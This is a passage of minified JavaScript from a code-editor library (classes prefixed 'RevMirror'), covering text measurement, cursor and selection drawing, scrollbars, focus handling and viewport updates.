u=a.find(1);if(u.line==i)return u;l=ae(n,i=u.line)}}function $r(t,e,r,n){n-=Gr(e);var i=e.text.length,o=le(function(e){return Dr(t,r,e-1).bottom<=n},i,0);return{begin:o,end:i=le(function(e){return Dr(t,r,e).top>n},o,i)}}function qr(e,t,r,n){return r||(r=Ar(e,t)),$r(e,t,r,Ur(e,t,Dr(e,r,n),"line").top)}function Zr(e,t,r,n){return!(e.bottom<=r)&&(e.top>r||(n?e.left:e.right)>t)}function Qr(r,e,t,n,i){i-=Ye(e);var o=Ar(r,e),l=Gr(e),s=0,a=e.text.length,u=!0,c=Je(e,r.doc.direction);if(c){var h=(r.options.lineWrapping?function(e,t,r,n,i,o,l){var s=$r(e,t,n,l),a=s.begin,u=s.end;/\s/.test(t.text.charAt(u-1))&&u--;for(var c=null,h=null,f=0;f<i.length;f++){var d=i[f];if(!(d.from>=u||d.to<=a)){var p=1!=d.level,g=Dr(e,n,p?Math.min(u,d.to)-1:Math.max(a,d.from)).right,v=g<o?o-g+1e9:g-o;(!c||v<h)&&(c=d,h=v)}}c||(c=i[i.length-1]);c.from<a&&(c={from:a,to:c.to,level:c.level});c.to>u&&(c={from:c.from,to:u,level:c.level});return c}:function(n,i,o,l,s,a,u){var e=le(function(e){var t=s[e],r=1!=t.level;return Zr(jr(n,ve(o,r?t.to:t.from,r?"before":"after"),"line",i,l),a,u,!0)},0,s.length-1),t=s[e];if(0<e){var r=1!=t.level,c=jr(n,ve(o,r?t.from:t.to,r?"after":"before"),"line",i,l);Zr(c,a,u,!0)&&c.top>u&&(t=s[e-1])}return t})(r,e,t,o,c,n,i);s=(u=1!=h.level)?h.from:h.to-1,a=u?h.to:h.from-1}var f,d,p=null,g=null,v=le(function(e){var t=Dr(r,o,e);return t.top+=l,t.bottom+=l,!!Zr(t,n,i,!1)&&(t.top<=i&&t.left<=n&&(p=e,g=t),!0)},s,a),m=!1;if(g){var y=n-g.left<g.right-n,b=y==u;v=p+(b?0:1),d=b?"after":"before",f=y?g.left:g.right}else{u||v!=a&&v!=s||v++,d=0==v?"after":v==e.text.length?"before":Dr(r,o,v-(u?1:0)).bottom+l<=i==u?"after":"before";var w=jr(r,ve(t,v,d),"line",e,o);f=w.left,m=i<w.top||i>=w.bottom}return Yr(t,v=oe(e.text,v,1),d,m,n-f)}function Jr(e){if(null!=e.cachedTextHeight)return e.cachedTextHeight;if(null==Wr){Wr=A("pre");for(var t=0;t<49;++t)Wr.appendChild(document.createTextNode("x")),Wr.appendChild(A("br"));Wr.appendChild(document.createTextNode("x"))}N(e.measure,Wr);var r=Wr.offsetHeight/50;return 3<r&&(e.cachedTextHeight=r),M(e.measure),r||1}function en(e){if(null!=e.cachedCharWidth)return e.cachedCharWidth;var t=A("span","xxxxxxxxxx"),r=A("pre",[t]);N(e.measure,r);var n=t.getBoundingClientRect(),i=(n.right-n.left)/10;return 2<i&&(e.cachedCharWidth=i),i||10}function tn(e){for(var t=e.display,r={},n={},i=t.gutters.clientLeft,o=t.gutters.firstChild,l=0;o;o=o.nextSibling,++l)r[e.options.gutters[l]]=o.offsetLeft+o.clientLeft+i,n[e.options.gutters[l]]=o.clientWidth;return{fixedPos:rn(t),gutterTotalWidth:t.gutters.offsetWidth,gutterLeft:r,gutterWidth:n,wrapperWidth:t.wrapper.clientWidth}}function rn(e){return e.scroller.getBoundingClientRect().left-e.sizer.getBoundingClientRect().left}function nn(n){var i=Jr(n.display),o=n.options.lineWrapping,l=o&&Math.max(5,n.display.scroller.clientWidth/en(n.display)-3);return function(e){if(je(n.doc,e))return 0;var t=0;if(e.widgets)for(var r=0;r<e.widgets.length;r++)e.widgets[r].height&&(t+=e.widgets[r].height);return o?t+(Math.ceil(e.text.length/l)||1)*i:t+i}}function on(e){var t=e.doc,r=nn(e);t.iter(function(e){var t=r(e);t!=e.height&&he(e,t)})}function ln(e,t,r,n){var i=e.display;if(!r&&"true"==dt(t).getAttribute("cm-not-content"))return null;var o,l,s=i.lineSpace.getBoundingClientRect();try{o=t.clientX-s.left,l=t.clientY-s.top}catch(t){return null}var a,u=_r(e,o,l);if(n&&1==u.xRel&&(a=ae(e.doc,u.line).text).length==u.ch){var c=z(a,a.length,e.options.tabSize)-a.length;u=ve(u.line,Math.max(0,Math.round((o-Sr(e.display).left)/en(e.display))-c))}return u}function sn(e,t){if(t>=e.display.viewTo)return null;if((t-=e.display.viewFrom)<0)return null;for(var r=e.display.view,n=0;n<r.length;n++)if((t-=r[n].size)<0)return n}function an(e){e.display.input.showSelection(e.display.input.prepareSelection())}function un(e,t){void 0===t&&(t=!0);for(var r=e.doc,n={},i=n.cursors=document.createDocumentFragment(),o=n.selection=document.createDocumentFragment(),l=0;l<r.sel.ranges.length;l++)if(t||l!=r.sel.primIndex){var s=r.sel.ranges[l];if(!(s.from().line>=e.display.viewTo||s.to().line<e.display.viewFrom)){var a=s.empty();(a||e.options.showCursorWhenSelecting)&&cn(e,s.head,i),a||fn(e,s,o)}}return n}function cn(e,t,r){var n=jr(e,t,"div",null,null,!e.options.singleCursorHeightPerLine),i=r.appendChild(A("div"," ","RevMirror-cursor"));if(i.style.left=n.left+"px",i.style.top=n.top+"px",i.style.height=Math.max(0,n.bottom-n.top)*e.options.cursorHeight+"px",n.other){var o=r.appendChild(A("div"," ","RevMirror-cursor RevMirror-secondarycursor"));o.style.display="",o.style.left=n.other.left+"px",o.style.top=n.other.top+"px",o.style.height=.85*(n.other.bottom-n.other.top)+"px"}}function hn(e,t){return e.top-t.top||e.left-t.left}function fn(l,e,t){var r=l.display,n=l.doc,i=document.createDocumentFragment(),o=Sr(l.display),T=o.left,M=Math.max(r.sizerWidth,kr(l)-r.sizer.offsetLeft)-o.right,N="ltr"==n.direction;function O(e,t,r,n){t<0&&(t=0),t=Math.round(t),n=Math.round(n),i.appendChild(A("div",null,"RevMirror-selected","position: absolute; left: "+e+"px;\n                             top: "+t+"px; width: "+(null==r?M-e:r)+"px;\n                             height: "+(n-t)+"px"))}function s(r,y,b){var w,x,o=ae(n,r),C=o.text.length;function S(e,t){return Kr(l,ve(r,e),"div",o,t)}function L(e,t,r){var n=qr(l,o,null,e),i="ltr"==t==("after"==r)?"left":"right";return S("after"==r?n.begin:n.end-(/\s/.test(o.text.charAt(n.end-1))?2:1),i)[i]}var k=Je(o,n.direction);return function(e,t,r,n){if(!e)return n(t,r,"ltr",0);for(var i=!1,o=0;o<e.length;++o){var l=e[o];(l.from<r&&l.to>t||t==r&&l.to==t)&&(n(Math.max(l.from,t),Math.min(l.to,r),1==l.level?"rtl":"ltr",o),i=!0)}i||n(t,r,"ltr")}(k,y||0,null==b?C:b,function(e,t,r,n){var i="ltr"==r,o=S(e,i?"left":"right"),l=S(t-1,i?"right":"left"),s=null==y&&0==e,a=null==b&&t==C,u=0==n,c=!k||n==k.length-1;if(l.top-o.top<=3){var h=(N?a:s)&&c,f=(N?s:a)&&u?T:(i?o:l).left,d=h?M:(i?l:o).right;O(f,o.top,d-f,o.bottom)}else{var p,g,v,m;i?(p=N&&s&&u?T:o.left,g=N?M:L(e,r,"before"),v=N?T:L(t,r,"after"),m=N&&a&&c?M:l.right):(p=N?L(e,r,"before"):T,g=!N&&s&&u?M:o.right,v=!N&&a&&c?T:l.left,m=N?L(t,r,"after"):M),O(p,o.top,g-p,o.bottom),o.bottom<l.top&&O(T,o.bottom,null,l.top),O(v,l.top,m-v,l.bottom)}(!w||hn(o,w)<0)&&(w=o),hn(l,w)<0&&(w=l),(!x||hn(o,x)<0)&&(x=o),hn(l,x)<0&&(x=l)}),{start:w,end:x}}var a=e.from(),u=e.to();if(a.line==u.line)s(a.line,a.ch,u.ch);else{var c=ae(n,a.line),h=ae(n,u.line),f=Ue(c)==Ue(h),d=s(a.line,a.ch,f?c.text.length+1:null).end,p=s(u.line,f?0:null,u.ch).start;f&&(d.top<p.top-2?(O(d.right,d.top,null,d.bottom),O(T,p.top,p.left,p.bottom)):O(d.right,d.top,p.left-d.right,d.bottom)),d.bottom<p.top&&O(T,d.bottom,null,p.top)}t.appendChild(i)}function dn(e){if(e.state.focused){var t=e.display;clearInterval(t.blinker);var r=!0;t.cursorDiv.style.visibility="",0<e.options.cursorBlinkRate?t.blinker=setInterval(function(){return t.cursorDiv.style.visibility=(r=!r)?"":"hidden"},e.options.cursorBlinkRate):e.options.cursorBlinkRate<0&&(t.cursorDiv.style.visibility="hidden")}}function pn(e){e.state.focused||(e.display.input.focus(),vn(e))}function gn(e){e.state.delayingBlurEvent=!0,setTimeout(function(){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1,mn(e))},100)}function vn(e,t){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1),"nocursor"!=e.options.readOnly&&(e.state.focused||(it(e,"focus",e,t),e.state.focused=!0,H(e.display.wrapper,"RevMirror-focused"),e.curOp||e.display.selForContextMenu==e.doc.sel||(e.display.input.reset(),b&&setTimeout(function(){return e.display.input.reset(!0)},20)),e.display.input.receivedFocus()),dn(e))}function mn(e,t){e.state.delayingBlurEvent||(e.state.focused&&(it(e,"blur",e,t),e.state.focused=!1,T(e.display.wrapper,"RevMirror-focused")),clearInterval(e.display.blinker),setTimeout(function(){e.state.focused||(e.display.shift=!1)},150))}function yn(e){for(var t=e.display,r=t.lineDiv.offsetTop,n=0;n<t.view.length;n++){var i=t.view[n],o=void 0;if(!i.hidden){if(x&&C<8){var l=i.node.offsetTop+i.node.offsetHeight;o=l-r,r=l}else{var s=i.node.getBoundingClientRect();o=s.bottom-s.top}var a=i.line.height-o;if(o<2&&(o=Jr(t)),(.005<a||a<-.005)&&(he(i.line,o),bn(i.line),i.rest))for(var u=0;u<i.rest.length;u++)bn(i.rest[u])}}}function bn(e){if(e.widgets)for(var t=0;t<e.widgets.length;++t){var r=e.widgets[t],n=r.node.parentNode;n&&(r.height=n.offsetHeight)}}function wn(e,t,r){var n=r&&null!=r.top?Math.max(0,r.top):e.scroller.scrollTop;n=Math.floor(n-xr(e));var i=r&&null!=r.bottom?r.bottom:n+e.wrapper.clientHeight,o=de(t,n),l=de(t,i);if(r&&r.ensure){var s=r.ensure.from.line,a=r.ensure.to.line;s<o?l=de(t,Ye(ae(t,o=s))+e.wrapper.clientHeight):Math.min(a,t.lastLine())>=l&&(o=de(t,Ye(ae(t,a))-e.wrapper.clientHeight),l=a)}return{from:o,to:Math.max(l,o+1)}}function xn(e){var t=e.display,r=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var n=rn(t)-t.scroller.scrollLeft+e.doc.scrollLeft,i=t.gutters.offsetWidth,o=n+"px",l=0;l<r.length;l++)if(!r[l].hidden){e.options.fixedGutter&&(r[l].gutter&&(r[l].gutter.style.left=o),r[l].gutterBackground&&(r[l].gutterBackground.style.left=o));var s=r[l].alignable;if(s)for(var a=0;a<s.length;a++)s[a].style.left=o}e.options.fixedGutter&&(t.gutters.style.left=n+i+"px")}}function Cn(e){if(!e.options.lineNumbers)return!1;var t=e.doc,r=ge(e.options,t.first+t.size-1),n=e.display;if(r.length!=n.lineNumChars){var i=n.measure.appendChild(A("div",[A("div",r)],"RevMirror-linenumber RevMirror-gutter-elt")),o=i.firstChild.offsetWidth,l=i.offsetWidth-o;return n.lineGutter.style.width="",n.lineNumInnerWidth=Math.max(o,n.lineGutter.offsetWidth-l)+1,n.lineNumWidth=n.lineNumInnerWidth+l,n.lineNumChars=n.lineNumInnerWidth?r.length:-1,n.lineGutter.style.width=n.lineNumWidth+"px",si(e),!0}return!1}function Sn(e,t){var r=e.display,n=Jr(e.display);t.top<0&&(t.top=0);var i=e.curOp&&null!=e.curOp.scrollTop?e.curOp.scrollTop:r.scroller.scrollTop,o=Tr(e),l={};t.bottom-t.top>o&&(t.bottom=t.top+o);var s=e.doc.height+Cr(r),a=t.top<n,u=t.bottom>s-n;if(t.top<i)l.scrollTop=a?0:t.top;else if(t.bottom>i+o){var c=Math.min(t.top,(u?s:t.bottom)-o);c!=i&&(l.scrollTop=c)}var h=e.curOp&&null!=e.curOp.scrollLeft?e.curOp.scrollLeft:r.scroller.scrollLeft,f=kr(e)-(e.options.fixedGutter?r.gutters.offsetWidth:0),d=t.right-t.left>f;return d&&(t.right=t.left+f),t.left<10?l.scrollLeft=0:t.left<h?l.scrollLeft=Math.max(0,t.left-(d?0:10)):t.right>f+h-3&&(l.scrollLeft=t.right+(d?0:10)-f),l}function Ln(e,t){null!=t&&(Mn(e),e.curOp.scrollTop=(null==e.curOp.scrollTop?e.doc.scrollTop:e.curOp.scrollTop)+t)}function kn(e){Mn(e);var t=e.getCursor();e.curOp.scrollToPos={from:t,to:t,margin:e.options.cursorScrollMargin}}function Tn(e,t,r){null==t&&null==r||Mn(e),null!=t&&(e.curOp.scrollLeft=t),null!=r&&(e.curOp.scrollTop=r)}function Mn(e){var t=e.curOp.scrollToPos;t&&(e.curOp.scrollToPos=null,Nn(e,Xr(e,t.from),Xr(e,t.to),t.margin))}function Nn(e,t,r,n){var i=Sn(e,{left:Math.min(t.left,r.left),top:Math.min(t.top,r.top)-n,right:Math.max(t.right,r.right),bottom:Math.max(t.bottom,r.bottom)+n});Tn(e,i.scrollLeft,i.scrollTop)}function On(e,t){Math.abs(e.doc.scrollTop-t)<2||(g||li(e,{top:t}),An(e,t,!0),g&&li(e),ti(e,100))}function An(e,t,r){t=Math.min(e.display.scroller.scrollHeight-e.display.scroller.clientHeight,t),(e.display.scroller.scrollTop!=t||r)&&(e.doc.scrollTop=t,e.display.scrollbars.setScrollTop(t),e.display.scroller.scrollTop!=t&&(e.display.scroller.scrollTop=t))}function Dn(e,t,r,n){t=Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth),(r?t==e.doc.scrollLeft:Math.abs(e.doc.scrollLeft-t)<2)&&!n||(e.doc.scrollLeft=t,xn(e),e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t),e.display.scrollbars.setScrollLeft(t))}function Wn(e){var t=e.display,r=t.gutters.offsetWidth,n=Math.round(e.doc.height+Cr(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?r:0,docHeight:n,scrollHeight:n+Lr(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:r}}var Hn=function(e,t,r){this.cm=r;var n=this.vert=A("div",[A("div",null,null,"min-width: 1px")],"RevMirror-vscrollbar"),i=this.horiz=A("div",[A("div",null,null,"height: 100%; min-height: 1px")],"RevMirror-hscrollbar");n.tabIndex=i.tabIndex=-1,e(n),e(i),tt(n,"scroll",function(){n.clientHeight&&t(n.scrollTop,"vertical")}),tt(i,"scroll",function(){i.clientWidth&&t(i.scrollLeft,"horizontal")}),this.checkedZeroWidth=!1,x&&C<8&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};Hn.prototype.update=function(e){var t=e.scrollWidth>e.clientWidth+1,r=e.scrollHeight>e.clientHeight+1,n=e.nativeBarWidth;if(r){this.vert.style.display="block",this.vert.style.bottom=t?n+"px":"0";var i=e.viewHeight-(t?n:0);this.vert.firstChild.style.height=Math.max(0,e.scrollHeight-e.clientHeight+i)+"px"}else this.vert.style.display="",this.vert.firstChild.style.height="0";if(t){this.horiz.style.display="block",this.horiz.style.right=r?n+"px":"0",this.horiz.style.left=e.barLeft+"px";var o=e.viewWidth-e.barLeft-(r?n:0);this.horiz.firstChild.style.width=Math.max(0,e.scrollWidth-e.clientWidth+o)+"px"}else this.horiz.style.display="",this.horiz.firstChild.style.width="0";return!this.checkedZeroWidth&&0<e.clientHeight&&(0==n&&this.zeroWidthHack(),this.checkedZeroWidth=!0),{right:r?n:0,bottom:t?n:0}},Hn.prototype.setScrollLeft=function(e){this.horiz.scrollLeft!=e&&(this.horiz.scrollLeft=e),this.disableHoriz&&this.enableZeroWidthBar(this.horiz,this.disableHoriz,"horiz")},Hn.prototype.setScrollTop=function(e){this.vert.scrollTop!=e&&(this.vert.scrollTop=e),this.disableVert&&this.enableZeroWidthBar(this.vert,this.disableVert,"vert")},Hn.prototype.zeroWidthHack=function(){var e=w&&!s?"12px":"18px";this.horiz.style.height=this.vert.style.width=e,this.horiz.style.pointerEvents=this.vert.style.pointerEvents="none",this.disableHoriz=new R,this.disableVert=new R},Hn.prototype.enableZeroWidthBar=function(r,n,i){r.style.pointerEvents="auto",n.set(1e3,function e(){var t=r.getBoundingClientRect();("vert"==i?document.elementFromPoint(t.right-1,(t.top+t.bottom)/2):document.elementFromPoint((t.right+t.left)/2,t.bottom-1))!=r?r.style.pointerEvents="none":n.set(1e3,e)})},Hn.prototype.clear=function(){var e=this.horiz.parentNode;e.removeChild(this.horiz),e.removeChild(this.vert)};var Fn=function(){};function Pn(e,t){t||(t=Wn(e));var r=e.display.barWidth,n=e.display.barHeight;En(e,t);for(var i=0;i<4&&r!=e.display.barWidth||n!=e.display.barHeight;i++)r!=e.display.barWidth&&e.options.lineWrapping&&yn(e),En(e,Wn(e)),r=e.display.barWidth,n=e.display.barHeight}function En(e,t){var r=e.display,n=r.scrollbars.update(t);r.sizer.style.paddingRight=(r.barWidth=n.right)+"px",r.sizer.style.paddingBottom=(r.barHeight=n.bottom)+"px",r.heightForcer.style.borderBottom=n.bottom+"px solid transparent",n.right&&n.bottom?(r.scrollbarFiller.style.display="block",r.scrollbarFiller.style.height=n.bottom+"px",r.scrollbarFiller.style.width=n.right+"px"):r.scrollbarFiller.style.display="",n.bottom&&e.options.coverGutterNextToScrollbar&&e.options.fixedGutter?(r.gutterFiller.style.display="block",r.gutterFiller.style.height=n.bottom+"px",r.gutterFiller.style.width=t.gutterWidth+"px"):r.gutterFiller.style.display=""}Fn.prototype.update=function(){return{bottom:0,right:0}},Fn.prototype.setScrollLeft=function(){},Fn.prototype.setScrollTop=function(){},Fn.prototype.clear=function(){};var In={native:Hn,null:Fn};function zn(r){r.display.scrollbars&&(r.display.scrollbars.clear(),r.display.scrollbars.addClass&&T(r.display.wrapper,r.display.scrollbars.addClass)),r.display.scrollbars=new In[r.options.scrollbarStyle](function(e){r.display.wrapper.insertBefore(e,r.display.scrollbarFiller),tt(e,"mousedown",function(){r.state.focused&&setTimeout(function(){return r.display.input.focus()},0)}),e.setAttribute("cm-not-content","true")},function(e,t){"horizontal"==t?Dn(r,e):On(r,e)},r),r.display.scrollbars.addClass&&H(r.display.wrapper,r.display.scrollbars.addClass)}var Rn=0;function Bn(e){var t;e.curOp={cm:e,viewChanged:!1,startHeight:e.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++Rn},t=e.curOp,or?or.ops.push(t):t.ownsGroup=or={ops:[t],delayedCallbacks:[]}}function Gn(e){!function(e,t){var r=e.ownsGroup;if(r)try{!function(e){var t=e.delayedCallbacks,r=0;do{for(;r<t.length;r++)t[r].call(null);for(var n=0;n<e.ops.length;n++){var i=e.ops[n];if(i.cursorActivityHandlers)for(;i.cursorActivityCalled<i.cursorActivityHandlers.length;)i.cursorActivityHandlers[i.cursorActivityCalled++].call(null,i.cm)}}while(r<t.length)}(r)}finally{or=null,t(r)}}(e.curOp,function(e){for(var t=0;t<e.ops.length;t++)e.ops[t].cm.curOp=null;!function(e){for(var t=e.ops,r=0;r<t.length;r++)Un(t[r]);for(var n=0;n<t.length;n++)(i=t[n]).updatedDisplay=i.mustUpdate&&ii(i.cm,i.update);var i;for(var o=0;o<t.length;o++)Vn(t[o]);for(var l=0;l<t.length;l++)Kn(t[l]);for(var s=0;s<t.length;s++)jn(t[s])}(e)})}function Un(e){var t,r,n=e.cm,i=n.display;!(r=(t=n).display).scrollbarsClipped&&r.scroller.offsetWidth&&(r.nativeBarWidth=r.scroller.offsetWidth-r.scroller.clientWidth,r.heightForcer.style.height=Lr(t)+"px",r.sizer.style.marginBottom=-r.nativeBarWidth+"px",r.sizer.style.borderRightWidth=Lr(t)+"px",r.scrollbarsClipped=!0),e.updateMaxLine&&$e(n),e.mustUpdate=e.viewChanged||e.forceUpdate||null!=e.scrollTop||e.scrollToPos&&(e.scrollToPos.from.line<i.viewFrom||e.scrollToPos.to.line>=i.viewTo)||i.maxLineChanged&&n.options.lineWrapping,e.update=e.mustUpdate&&new ni(n,e.mustUpdate&&{top:e.scrollTop,ensure:e.scrollToPos},e.forceUpdate)}function Vn(e){var t=e.cm,r=t.display;e.updatedDisplay&&yn(t),e.barMeasure=Wn(t),r.maxLineChanged&&!t.options.lineWrapping&&(e.adjustWidthTo=Nr(t,r.maxLine,r.maxLine.text.length).left+3,t.display.sizerWidth=e.adjustWidthTo,e.barMeasure.scrollWidth=Math.max(r.scroller.clientWidth,r.sizer.offsetLeft+e.adjustWidthTo+Lr(t)+t.display.barWidth),e.maxScrollLeft=Math.max(0,r.sizer.offsetLeft+e.adjustWidthTo-kr(t))),(e.updatedDisplay||e.selectionChanged)&&(e.preparedSelection=r.input.prepareSelection())}function Kn(e){var t=e.cm;null!=e.adjustWidthTo&&(t.display.sizer.style.minWidth=e.adjustWidthTo+"px",e.maxScrollLeft<t.doc.scrollLeft&&Dn(t,Math.min(t.display.scroller.scrollLeft,e.maxScrollLeft),!0),t.display.maxLineChanged=!1);var r=e.focus&&e.focus==W();e.preparedSelection&&t.display.input.showSelection(e.preparedSelection,r),(e.updatedDisplay||e.startHeight!=t.doc.height)&&Pn(t,e.barMeasure),e.updatedDisplay&&ai(t,e.barMeasure),e.selectionChanged&&dn(t),t.state.focused&&e.updateInput&&t.display.input.reset(e.typing),r&&pn(e.cm)}function jn(e){var t=e.cm,r=t.display,n=t.doc;(e.updatedDisplay&&oi(t,e.update),null==r.wheelStartX||null==e.scrollTop&&null==e.scrollLeft&&!e.scrollToPos||(r.wheelStartX=r.wheelStartY=null),null!=e.scrollTop&&An(t,e.scrollTop,e.forceScroll),null!=e.scrollLeft&&Dn(t,e.scrollLeft,!0,!0),e.scrollToPos)&&function(e,t){if(!ot(e,"scrollCursorIntoView")){var r=e.display,n=r.sizer.getBoundingClientRect(),i=null;if(t.top+n.top<0?i=!0:t.bottom+n.top>(window.innerHeight||document.documentElement.clientHeight)&&(i=!1),null!=i&&!u){var o=A("div","​",null,"position: absolute;\n                         top: "+(t.top-r.viewOffset-xr(e.display))+"px;\n                         height: "+(t.bottom-t.top+Lr(e)+r.barHeight)+"px;\n                         left: "+t.left+"px; width: "+Math.max(2,t.right-t.left)+"px;");e.display.lineSpace.appendChild(o),o.scrollIntoView(i),e.display.lineSpace.removeChild(o)}}}(t,function(e,t,r,n){var i;null==n&&(n=0),e.options.lineWrapping||t!=r||(r="before"==(t=t.ch?ve(t.line,"before"==t.sticky?t.ch-1:t.ch,"after"):t).sticky?ve(t.line,t.ch+1,"before"):t);for(var o=0;o<5;o++){var l=!1,s=jr(e,t),a=r&&r!=t?jr(e,r):s,u=Sn(e,i={left:Math.min(s.left,a.left),top:Math.min(s.top,a.top)-n,right:Math.max(s.left,a.left),bottom:Math.max(s.bottom,a.bottom)+n}),c=e.doc.scrollTop,h=e.doc.scrollLeft;if(null!=u.scrollTop&&(On(e,u.scrollTop),1<Math.abs(e.doc.scrollTop-c)&&(l=!0)),null!=u.scrollLeft&&(Dn(e,u.scrollLeft),1<Math.abs(e.doc.scrollLeft-h)&&(l=!0)),!l)break}return i}(t,Se(n,e.scrollToPos.from),Se(n,e.scrollToPos.to),e.scrollToPos.margin));var i=e.maybeHiddenMarkers,o=e.maybeUnhiddenMarkers;if(i)for(var l=0;l<i.length;++l)i[l].lines.length||it(i[l],"hide");if(o)for(var s=0;s<o.length;++s)o[s].lines.length&&it(o[s],"unhide");r.wrapper.offsetHeight&&(n.scrollTop=t.display.scroller.scrollTop),e.changeObjs&&it(t,"changes",t,e.changeObjs),e.update&&e.update.finish()}function Xn(e,t){if(e.curOp)return t();Bn(e);try{return t()}finally{Gn(e)}}function Yn(e,t){return function(){if(e.curOp)return t.apply(e,arguments);Bn(e);try{return t.apply(e,arguments)}finally{Gn(e)}}}function _n(e){return function(){if(this.curOp)return e.apply(this,arguments);Bn(this);try{return e.apply(this,arguments)}finally{Gn(this)}}}function $n(t){return function(){var e=this.cm;if(!e||e.curOp)return t.apply(this,arguments);Bn(e);try{return t.apply(this,arguments)}finally{Gn(e)}}}function qn(e,t,r,n){null==t&&(t=e.doc.first),null==r&&(r=e.doc.first+e.doc.size),n||(n=0);var i=e.display;if(n&&r<i.viewTo&&(null==i.updateLineNumbers||i.updateLineNumbers>t)&&(i.updateLineNumbers=t),e.curOp.viewChanged=!0,t>=i.viewTo)Te&&Ve(e.doc,t)<i.viewTo&&Qn(e);else if(r<=i.viewFrom)Te&&Ke(e.doc,r+n)>i.viewFrom?Qn(e):(i.viewFrom+=n,i.viewTo+=n);else if(t<=i.viewFrom&&r>=i.viewTo)Qn(e);else if(t<=i.viewFrom){var o=Jn(e,r,r+n,1);o?(i.view=i.view.slice(o.index),i.viewFrom=o.lineN,i.viewTo+=n):Qn(e)}else if(r>=i.viewTo){var l=Jn(e,t,t,-1);l?(i.view=i.view.slice(0,l.index),i.viewTo=l.lineN):Qn(e)}else{var s=Jn(e,t,t,-1),a=Jn(e,r,r+n,1);s&&a?(i.view=i.view.slice(0,s.index).concat(ir(e,s.lineN,a.lineN)).concat(i.view.slice(a.index)),i.viewTo+=n):Qn(e)}var u=i.externalMeasured;u&&(r<u.lineN?u.lineN+=n:t<u.lineN+u.size&&(i.externalMeasured=null))}function Zn(e,t,r){e.curOp.viewChanged=!0;var n=e.display,i=e.display.externalMeasured;if(i&&t>=i.lineN&&t<i.lineN+i.size&&(n.externalMeasured=null),!(t<n.viewFrom||t>=n.viewTo)){var o=n.view[sn(e,t)];if(null!=o.node){var l=o.changes||(o.changes=[]);-1==B(l,r)&&l.push(r)}}}function Qn(e){e.display.viewFrom=e.display.viewTo=e.doc.first,e.display.view=[],e.display.viewOffset=0}function Jn(e,t,r,n){var i,o=sn(e,t),l=e.display.view;if(!Te||r==e.doc.first+e.doc.size)return{index:o,lineN:r};for(var s=e.display.viewFrom,a=0;a<o;a++)s+=l[a].size;if(s!=t){if(0<n){if(o==l.length-1)return null;i=s+l[o].size-t,o++}else i=s-t;t+=i,r+=i}for(;Ve(e.doc,r)!=r;){if(o==(n<0?0:l.length-1))return null;r+=n*l[o-(n<0?1:0)].size,o+=n}return{index:o,lineN:r}}function ei(e){for(var t=e.display.view,r=0,n=0;n<t.length;n++){var i=t[n];i.hidden||i.node&&!i.changes||++r}return r}function ti(e,t){e.doc.highlightFrontier<e.display.viewTo&&e.state.highlight.set(t,E(ri,e))}function ri(a){var u=a.doc;if(!(u.highlightFrontier>=a.display.viewTo)){var c=+new Date+a.options.workTime,h=Rt(a,u.highlightFrontier),f=[];u.iter(h.line,Math.min(u.first+u.size,a.display.viewTo+500),function(e){if(h.line>=a.display.viewFrom){var t=e.styles,r=e.text.length>a.options.maxHighlightLength?Dt(u.mode,h.state):null,n=It(a,e,h,!0);r&&(h.state=r),e.styles=n.styles;var i=e.styleClasses,o=n.classes;o?e.styleClasses=o:i&&(e.styleClasses=null);for(var l=!t||t.length!=e.styles.length||i!=o&&(!i||!o||i.bgClass!=o.bgClass||i.textClass!=o.textClass),s=0;!l&&s<t.length;++s)l=t[s]!=e.styles[s];l&&f.push(h.line),e.stateAfter=h.save(),h.nextLine()}else e.text.length<=a.options.maxHighlightLength&&Bt(a,e.text,h),e.stateAfter=h.line%5==0?h.save():null,h.nextLine();if(+new Date>c)return ti(a,a.options.workDelay),!0}),u.highlightFrontier=h.line,u.modeFrontier=Math.max(u.modeFrontier,h.line),f.length&&Xn(a,function(){for(var e=0;e<f.length;e++)Zn(a,f[e],"text")})}}var ni=function(e,t,r){var n=e.display;this.viewport=t,this.visible=wn(n,e.doc,t),this.editorIsHidden=!n.wrapper.offsetWidth,this.wrapperHeight=n.wrapper.clientHeight,this.wrapperWidth=n.wrapper.clientWidth,this.oldDisplayWidth=kr(e),this.force=r,this.dims=tn(e),this.events=[]};function ii(e,t){var r=e.display,n=e.doc;if(t.editorIsHidden)return Qn(e),!1;if(!t.force&&t.visible.from>=r.viewFrom&&t.visible.to<=r.viewTo&&(null==r.updateLineNumbers||r.updateLineNumbers>=r.viewTo)&&r.renderedView==r.view&&0==ei(e))return!1;Cn(e)&&(Qn(e),t.dims=tn(e));var i=n.first+n.size,o=Math.max(t.visible.from-e.options.viewportMargin,n.first),l=Math.min(i,t.visible.to+e.options.viewportMargin);r.viewFrom<o&&o-r.viewFrom<20&&(o=Math.max(n.first,r.viewFrom)),r.viewTo>l&&r.viewTo-l<20&&(l=Math.min(i,r.viewTo)),Te&&(o=Ve(e.doc,o),l=Ke(e.doc,l));var s,a,u,c,h=o!=r.viewFrom||l!=r.viewTo||r.lastWrapHeight!=t.wrapperHeight||r.lastWrapWidth!=t.wrapperWidth;a=o,u=l,0==(c=(s=e).display).view.length||a>=c.viewTo||u<=c.viewFrom?(c.view=ir(s,a,u),c.viewFrom=a):(c.viewFrom>a?c.view=ir(s,a,c.viewFrom).concat(c.view):c.viewFrom<a&&(c.view=c.view.slice(sn(s,a))),c.viewFrom=a,c.viewTo<u?c.view=c.view.concat(ir(s,c.viewTo,u)):c.viewTo>u&&(c.view=c.view.slice(0,sn(s,u)))),c.viewTo=u,r.viewOffset=Ye(ae(e.doc,r.viewFrom)),e.display.mover.style.top=r.viewOffset+"px";var 